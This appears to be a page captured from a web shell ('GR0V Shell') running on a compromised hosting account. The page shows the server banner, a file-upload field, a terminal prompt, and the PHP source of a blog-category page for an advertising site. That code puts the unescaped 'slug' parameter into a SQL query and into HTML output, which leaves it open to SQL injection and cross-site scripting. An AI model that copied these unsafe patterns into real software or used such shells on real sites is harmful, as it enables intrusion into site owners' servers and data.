? GR0V Shell

GR0V shell

Linux in-mum-web921.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64

Path : /home/u949514618/domains/keywordadvertisingindia.com/public_html/
File Upload :
Current File : /home/u949514618/domains/keywordadvertisingindia.com/public_html/blog-category.php

<?php
include "backone/db.php";


// Try fetching from cmssection
$q = $conn->query("SELECT * FROM cmssection WHERE id = '4'");
if ($q->num_rows > 0) {
  $page = $q->fetch_assoc();
} 
                        
                        if (!isset($_GET['slug'])) {
                        echo "<h2>Category not found</h2>";
                        exit;
                        }

                        $slug = $_GET['slug'];
?>
<!doctype html>
<html class="no-js" lang="en-us">

<head>
   <meta http-equiv="content-language" content="en-us">
   <meta http-equiv="content-type" content="text/html;charset=UTF-8">
   <meta http-equiv="x-ua-compatible" content="ie=edge">
   <title><?php echo $page['meta_title']; ?> </title>
   <meta name="description" content="<?php echo $page['meta_description']; ?>">
   <meta name="keywords" content="<?php echo $page['keywords']; ?>">
   <meta property="og:title" content="<?php echo $page['meta_title']; ?>">
	<meta property="og:site_name" content="Keyword King Advertising India">
	<meta property="og:url" content="https://www.keywordadvertisingindia.com/blog-category.php?slug=<?php echo $slug; ?>">
	<meta property="og:description" content="<?php echo $page['meta_description']; ?>">
	<meta property="og:type" content="website">
	<meta property="og:image" content="https://keywordadvertisingindia.com/backone/uploads/<?php echo $page['image']; ?>">
	<link rel="alternate" hreflang="en-us" href="https://www.keywordadvertisingindia.com/blog-category.php?slug=<?php echo $slug; ?>">
	<link rel="canonical" href="https://www.keywordadvertisingindia.com/blog-category.php?slug=<?php echo $slug; ?>">
   <meta name="viewport" content="width=device-width, initial-scale=1">
   <meta name="robots" content="index, follow">
   <meta name="revisit-after" content="3 days">

   <!-- Place favicon.ico in the root directory -->
   <link rel="shortcut icon" type="image/x-icon" href="assets/img/favicon.png">

   <!-- CSS here -->
   <link rel="stylesheet" href="assets/css/bootstrap.css">
   <link rel="stylesheet" href="assets/css/meanmenu.css">
   <link rel="stylesheet" href="assets/css/animate.css">
   <link rel="stylesheet" href="assets/css/swiper-bundle.css">
   <link rel="stylesheet" href="assets/css/magnific-popup.css">
   <link rel="stylesheet" href="assets/css/nice-select.css">
   <link rel="stylesheet" href="assets/css/font-awesome-pro.css">
   <link rel="stylesheet" href="assets/css/flaticon.css">
   <link rel="stylesheet" href="assets/css/spacing.css">
   <link rel="stylesheet" href="assets/css/main.css">
   <!-- Lightbox2 CSS -->
<link href="https://cdnjs.cloudflare.com/ajax/libs/lightbox2/2.11.3/css/lightbox.min.css" rel="stylesheet" />

<!-- Lightbox2 JS -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/lightbox2/2.11.3/js/lightbox.min.js"></script>
</head>
<body>
   <!--[if lte IE 9]>
      <p class="browserupgrade">You are using an <strong>outdated</strong> browser. Please <a href="https://browsehappy.com/">upgrade your browser</a> to improve your experience and security.</p>
      <![endif]-->

   <!-- back to top start -->
   <button class="tp-backtotop">
      <span><i class="fa-thin fa-chevrons-up"></i></span>
   </button>
   <!-- back to top end -->

   <!-- header area start -->

   <?php include_once('includes/header.php'); ?>


   <!-- offcanvas area start -->
   <?php include_once('includes/offcanvas.php'); ?>

   <div class="body-overlay"></div>
   <!-- offcanvas area end -->
   <main>
      <!-- breadcrumb area start -->

      <section class="breadcrumb__area include-bg breadcrumb__area breadcrumb__space"
         data-background="backone/uploads/<?php echo $page['header_image']; ?>">
         <div class="container">
            <div class="row">
               <div class="col-xxl-12">
                  <div class="breadcrumb__content text-center p-relative z-index-1">
                     <h3 class="breadcrumb__title">News & Blogs</h3>
                     <div class="breadcrumb__list">
                        <span><a href="index.php">Home</a></span>
                        <span class="dvdr"><i class="fa-regular fa-angle-right"></i></span>
                        <span>Blogs</span>
                     </div>
                  </div>
               </div>
            </div>
         </div>
      </section>
      <!-- breadcrumb area end -->

        <!-- postbox area start -->
         <div class="postbox__area pt-40 pb-40">
            <div class="container">
               <div class="row">
                  <div class="col-lg-8 col-12">
                     <div class="postbox__wrapper mr-40">
                        <?php
                        
                        if (!isset($_GET['slug'])) {
                        echo "<h2>Category not found</h2>";
                        exit;
                        }

                        $slug = $_GET['slug'];

                        // Fetch category ID by slug
                        $catRes = $conn->query("SELECT * FROM blog_categories WHERE slug = '$slug' LIMIT 1");
                        if ($catRes->num_rows == 0) {
                        echo "<h2>Category not found</h2>";
                        exit;
                        }

                        $category = $catRes->fetch_assoc();
                        $categoryId = $category['id'];

                        echo "<h2>Posts in Category: {$category['title']}</h2>";

                        // Fetch blog posts
                        $limit = 3; // posts per page
                        $page = isset($_GET['page']) ? (int)$_GET['page'] : 1;
                        $start_from = ($page - 1) * $limit;
                        $postQuery = $conn->query("SELECT * FROM blog_posts WHERE category_id = $categoryId AND status = '1' ORDER BY created_date DESC LIMIT $start_from, $limit");

                        // Count total posts
                        $total_result = $conn->query("SELECT COUNT(*) AS total FROM blog_posts WHERE category_id = $categoryId AND status = '1'");
                        $total_row = $total_result->fetch_assoc();
                        $total_posts = $total_row['total'];

                        $total_pages = ceil($total_posts / $limit);

                        if ($postQuery->num_rows == 0) {
                        echo "<p>No posts available in this category.</p>";
                        } else {
                        while ($post = $postQuery->fetch_assoc()) { ?>
                        <article class="postbox__item format-image mb-50 transition-3">
                           <div class="postbox__thumb w-img">
                              <a href="blog-detail.php?slug=<?php echo$post['slug']; ?>">
                                 <img src="backone/uploads/<?php echo $post['featured_image']; ?>" alt="">
                              </a>
                           </div>
                           <div class="postbox__content">
                              <h3 class="postbox__title">
                                 <a href="blog-detail.php?slug=<?php echo$post['slug']; ?>"><?php echo $post['title']; ?></a>
                              </h3>
                              <div class="postbox__text">
                                 <p><?php echo substr(strip_tags($post['description']), 0, 150); ?> […]</p>
                              </div>
                              <div class="postbox__read-more">
                                 <a  class="tp-btn" href="blog-detail.php?slug=<?php echo$post['slug']; ?>">read more <span></span></a>                          
                              </div>
                           </div>
                        </article>
                        <?php } } ?>
                        <div class="basic-pagination">
                            <nav>
                                <ul>
                                <!-- Prev -->
                                <?php if ($page > 1): ?>
                                    <li><a href="?slug=<?php echo $slug; ?>&page=<?= $page - 1 ?>"><i class="far fa-long-arrow-left"></i></a></li>
                                <?php endif; ?>

                                <!-- Numbered Pages -->
                                <?php for ($i = 1; $i <= $total_pages; $i++): ?>
                                    <?php if ($i == $page): ?>
                                    <li><span class="current"><?= $i ?></span></li>
                                    <?php else: ?>
                                    <li><a href="?slug=<?php echo $slug; ?>&page=<?= $i ?>"><?= $i ?></a></li>
                                    <?php endif; ?>
                                <?php endfor; ?>

                                <!-- Next -->
                                <?php if ($page < $total_pages): ?>
                                    <li><a href="?slug=<?php echo $slug; ?>&page=<?= $page + 1 ?>"><i class="far fa-long-arrow-right"></i></a></li>
                                <?php endif; ?>
                                </ul>
                            </nav>
                        </div>

                     </div>
                  </div>
                  <div class="col-lg-4 col-12">
                     <div class="sidebar__wrapper">
                        
                        <?php
                        $catQuery = $conn->query("SELECT c.id, c.title, c.slug, COUNT(p.id) as post_count
                          FROM blog_categories c
                          LEFT JOIN blog_posts p ON p.category_id = c.id AND p.status = '1'
                          GROUP BY c.id ORDER BY c.title ASC");

                        echo '<div class="sidebar__widget mb-40">
                                <h3 class="sidebar__widget-title">Categories</h3>
                                <div class="sidebar__widget-content">
                                <ul>';

                        while ($cat = $catQuery->fetch_assoc()) {
                            echo '<li><a href="blog-category.php?slug=' . $cat['slug'] . '">' . $cat['title'] . '</a> <span>' . $cat['post_count'] . '</span></li>';
                        }

                        echo '   </ul>
                                </div>
                            </div>';
                        ?>
                        <div class="sidebar__widget mb-40">
                           <h3 class="sidebar__widget-title">pages</h3>
                           <div class="sidebar__widget-content wd-hide-border">
                              <ul>
                                 <li><a href="index.php">Home</a> </li>
                                 <li><a href="page.php?slug=about-us">About Us </a></li>
                                 <li><a href="services.php">Services </a> </li>
                                 <li><a href="gallery.php">Gallery</a></li>
                                 <li><a href="blog.php">Blog</a></li>
                                 <li><a href="contact.php">Contact Us</a></li>
                              </ul>
                           </div>
                        </div>
                     </div>
                  </div>
               </div>
            </div>
         </div>
         <!-- postbox area end -->
      
   </main>

   <!-- footer start -->
   <?php include_once('includes/footer.php'); ?>
   <!-- footer end  -->


   <!-- JS here -->
   <script src="assets/js/vendor/jquery.js"></script>
   <script src="assets/js/vendor/waypoints.js"></script>
   <script src="assets/js/bootstrap-bundle.js"></script>
   <script src="assets/js/meanmenu.js"></script>
   <script src="assets/js/swiper-bundle.js"></script>
   <script src="assets/js/magnific-popup.js"></script>
   <script src="assets/js/parallax.js"></script>
   <script src="assets/js/nice-select.js"></script>
   <script src="assets/js/counterup.js"></script>
   <script src="assets/js/wow.js"></script>
   <script src="assets/js/isotope-pkgd.js"></script>
   <script src="assets/js/imagesloaded-pkgd.js"></script>
   <script src="assets/js/ajax-form.js"></script>
   <script src="assets/js/main.js"></script>

</body>

</html>

T1KUS90T
  root-grov@89.117.188.241:~$